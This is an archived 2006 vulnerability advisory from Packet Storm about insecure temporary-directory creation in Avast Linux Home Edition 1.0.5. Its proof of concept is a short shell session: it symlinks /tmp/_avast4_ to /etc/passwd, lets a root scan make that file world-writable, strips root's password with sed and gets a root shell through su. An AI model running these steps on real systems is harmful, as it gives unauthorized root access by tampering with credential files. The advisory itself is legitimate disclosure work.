exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Avast-1.0.5.txt

Avast-1.0.5.txt
Posted Apr 19, 2006
Authored by Julien Lanthea

Avast Linux antivirus versions 1.0.5, 1.0.5-1 creates a temporary directory in an insecure manner. POC included.

tags | advisory
systems | linux
SHA-256 | 3c0f40295482663d29e11d9feaa0018a2941b262c4da82fd946fc58f7bf2a7fe

Avast-1.0.5.txt

Change Mirror Download
Title      : Avast Linux Home Edition, vulnerability on a temporary folder 
creation
Protuct : Avast! Linux Home Edition
Product : http://www.avast.com/eng/download-avast-for-linux-edition.html
Version : 1.0.5, 1.0.5-1
avast4workstation-1.0.5-1.i586.rpm
avast4workstation-1.0.5.tar.gz
Vuln Found : 2006-04-14 (tested on RedHat Entreprise 4 Update 3).


Introduction :
--------------
Avast Linux Home Edition represents an antivirus solution for the Linux
platform.
When it scans for virus, it creates a temporary directory in /tmp in an
insecure
manner and gives it an chmod equal to 1777.


Exploit :
---------
$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1476 avr 14 15:30 /etc/passwd
$ ln -s /etc/passwd /tmp/_avast4_
$ ll /tmp/_avast4_
lrwxrwxrwx 1 user user 11 avr 14 16:43 /tmp/_avast4_ -> /etc/passwd
...
Waiting for user root to scan for virus (example: # avast -d /bin)
...
$ ls -l /etc/passwd
-rwxrwxrwt 1 root root 1476 avr 14 15:55 /etc/passwd (Oops!)
$ sed s/^root:x:/root::/ /etc/passwd > /tmp/a.out
$ cat /tmp/a.out > /etc/passwd
$ su -
# id
uid=0(root) gid=0(root)
groupes=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


Note :
------
When the root user is launching avast for the first time, the "_avast4_"
folder
is not erased when virus scan is finished, so it may be difficult for a user
to create
the symbolic link. But we must not forget that distribs usualy clean there
/tmp folder
via the tmpwatch utility.


Regards,
Julian L.

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close